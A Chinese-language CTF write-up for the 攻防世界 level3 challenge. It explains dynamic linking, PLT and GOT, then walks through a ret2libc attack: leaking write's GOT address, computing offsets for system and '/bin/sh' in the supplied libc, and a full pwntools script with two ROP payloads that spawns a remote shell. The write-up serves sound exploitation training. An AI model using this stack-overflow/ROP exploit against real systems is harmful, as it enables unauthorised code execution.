不一

攻防世界level3 与PLT与GOT与动态链接

字数统计: 2k阅读时长: 7 min
2019/09/15 Share

题目地址

level3

背景

动态链接

小明一家国庆节去旅游去看大好江山,前一天晚上正在打点行李,他当然不需要带上所有的生活用品,只需要带上换洗衣服就可以了,而牙膏、毛巾等用品在景区的旅馆都有提供,旅馆还提供了床上用品,所以小明也不需要把床也带上。
同理在Linux系统上一个可执行文件(ELF)在执行的时候是否需要带上所有必须的函数?包含生活函数如printf之类?当然也是不需要,因为ELF旅馆(Linux系统)会提供这些基础函数以供使用,例如printf包含在动态库libc中,就类似于旅馆提供的标间。因此ELF并不随身携带printf函数,而是在运行的时候才向操作系统获取printf函数的地址,这就是动态链接
相对于动态链接的是静态链接,就是小明他妈说旅馆的毛巾那么多人擦过,牙刷质量也很不好,所以决定东西都自己带,所以小明他妈的行李箱(ELF文件)就比起小明(动态链接方式)来得臃肿。不过Linux系统提供的基础函数还是信得过的,所以一般情况下能动态链接就动态链接了。

题目提供的两个文件,其中名为libc_32.so.6就是一个动态链接库,ELF动态链接库的后缀名是.so(Shared Object),是共享经济的起源(胡扯)。libc一般是已经在操作系统中运行着的,题目提供的libc文件只是用于参考和用于计算使用,并不用于运行,就算运行level3文件,调用的也是当前操作系统中的libc。

1
2
$ file libc_32.so.6
libc_32.so.6: ELF 32-bit LSB shared object, Intel 80386, version 1 (GNU/Linux), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=9a6b57c7a4f93d7e54e61bccb7df996c8bc58141, for GNU/Linux 2.6.32, stripped

PLT和GOT

正如前文所述,libc是在ELF文件运行的时候才动态链接,其中printf函数的真正地址也只有ELF运行的时候才能确定,因此在编译ELF文件的时候是不知道printf函数的地址,但是又必须有一条call xxx语句,因此这个xxx在ELF文件中相当于一个占位符,而只有当ELF文件运行起来之后,会用真正的printf函数地址替换掉xxx。这就是PLT延迟链接表(Procedure Linkage Table)。
有了PLT表,PLT表里面有printf函数的占位符,这样ELF文件就能写了,起码占位符就像一个全局遍历一样,只需要在运行的时候换上真正的地址那么就没有问题了,所以接下来就是PLT要如何去找到真正的printf函数。

每个32位ELF文件运行的时候都以为自己独自坐拥4GB内存,所以ELF中的跳转指令所指向的其实都只是相对地址。so文件也是ELF文件,所以libc.so的地址也是相对地址。这样没问题,每一个ELF单独运行的时候都能在操作系统的映射下正常完成内存操作,但是libc作为一个动态链接库,它并不是独立运行的,而是如开头图所示那样被链接到其他ELF的内存空间中,因此这时候就需要对地址进行操作,即把libc中函数的地址转换成ELF内存中函数的地址
如最上面那个图所示,libc被链接在ELF的地址为0x10000000,所以libc中函数的地址也始于0x10000000,这是一个水涨船高的道理,为什么成都夏天凉快啊,天然就有400米的海拔。所以这就是GOT全局偏移表(Global Offset Table)。所以ELF在动态链接地址上的一条龙服务就是这样的:

分析

溢出点可是非常露骨了,一笔带过就好。

1
2
3
4
5
6
7
8
ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]

write(1, "Input:\n", 7u);
# 往长度0x88的buf中读入最大长度0x100的字符
return read(0, &buf, 0x100u);
}

接下来是跳转地址,但是ELF中并没有其他的信息,甚至没有system函数可以用,连cat flag或者/bin/sh也没有,所以主要开到的地方在libc动态链接库中,因为libc应有尽有啊。于是以下是pwn的思路:

  1. 在libc里找一下有没有可以利用的字符串,例如/bin/sh
  2. 在libc中找到system函数,用来执行shell命令。
  3. 获取system函数在ELF中的绝对地址。libc中的system函数地址并不能直接使用,因为是libc中的相对地址,需要转换成ELF内存中的绝对地址(即上图中第4框到第3框)才能调用。
  4. /bin/sh为参数,跳转到system函数执行,获取shell。

查找字符串

使用strings命令查找一个libc库中的字符串,参数-t x是以16进制方式打印搜索结果的地址:

1
2
3
4
5
6
7
8
9
10
11
12
$ strings -t x libc_32.so.6 | grep bin
e1bd bindtextdomain
f354 bindresvport
fcd1 bind
10707 _nl_domain_bindings
1286d bind_textdomain_codeset
15902b /bin/sh
159f7b invalid fastbin entry (free)
15abac /bin/csh
15bf90 /etc/bindresvport.blacklist
15d858 malloc(): smallbin double linked list corrupted
15e86c /bin:/usr/bin

如上所示找到了/bin/sh字符串在libc中的地址是0x15902b

查找system函数

使用ida分析libc.so文件可以找到system函数在libc中的相对位置为0x3a940:

获取system函数的绝对地址

由于动态链接是将整个libc链接在ELF的内存中,并没有对libc中的函数进行拆分,因此在libc中的write和system距离有多远,链接之后他们的距离还是那么远,就像你喜欢的女生在高中的时候和你说做朋友,到了大学你们还是朋友。write和system的距离很容易在libc的ELF文件中获得,再通过write函数在ELF内存的绝对地址自然也能得到system函数在ELF内存中的绝对地址,同理也能得到/bin/sh字符串的绝对地址。
system函数内存中的绝对地址 = write函数的绝对地址 + (system函数在libc中的地址 - write函数在libc中的地址)
要找到wirte函数的绝对地址(也就是GOT表中write函数的值),可以通过PLT表中write函数指针,这个也是编译时写好的值,可以通过ida获取到,然后通过调用write函数把这个数值打印出来!

跳转到system函数

由于system函数的地址不能一次性得到,需要先ROP一次到write去打印write的绝对地址,之后计算得到system函数的绝对地址再次进行ROP去执行system,因此第一次ROP之后需要返回到vulxxx函数进行,所以两次ROP的栈覆盖如下:

Payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *

r=remote(ip, 端口)

# write函数的PLT地址
writePLT = 0x08048340
# write函数的GOT地址
writeGOT = 0x804A018
# vul函数地址
vul = 0x0804844B

# 下面是各个函数在libc中的地址
writeLIBC = 0x000D43C0
systemLIBC = 0x0003A940
binshLIBC = 0x15902b

line = r.recvuntil("Input:\n")
# 第一次ROP调用write函数打印write函数的绝对地址,并返回vul函数,相当于write(1, write_plt, 4)
payload = b'A' * (136 + 4) + p32(writePLT) + p32(vul) + p32(1) + p32(writeGOT) + p32(4)
r.sendline(payload)

# 获取write函数绝对地址,计算其余绝对地址
writeReal = u32(r.recv(4))
offset = writeReal - writeLIBC
systemReal = offset + systemLIBC
binshReal = offset + binshLIBC

line = r.recvuntil("Input:\n")
# 第二次ROP,相当于system("/bin/sh")
payload2 = b'A' * (136 + 4) + p32(systemReal) + p32(0) + p32(binshReal)
r.sendline(payload2)

r.interactive()
r.close()

补充

GOT表上地址的计算发生在函数第一次被调用的时候,当第二次调用该函数的时候就可以直接跳转其绝对地址,这个过程应该可以用gdb来表现一下。(多图省略)从vul函数的write@plt函数开始打断点,进入跳转指令,会发现进入一个叫_dl_runtime_resolve的函数,这个函数就是运行时获取动态链接函数地址的函数:

在main函数中的write函数打断点,因为这是第二次调用write函数,因此PLT表中write函数指向GOT表中write函数的地址就是动态链接的libc中write在内存中的绝对地址了:

CATALOG
  1. 1. 题目地址
  2. 2. 背景
    1. 2.1. 动态链接
    2. 2.2. PLT和GOT
  3. 3. 分析
    1. 3.1. 查找字符串
    2. 3.2. 查找system函数
    3. 3.3. 获取system函数的绝对地址
    4. 3.4. 跳转到system函数
  4. 4. Payload
  5. 5. 补充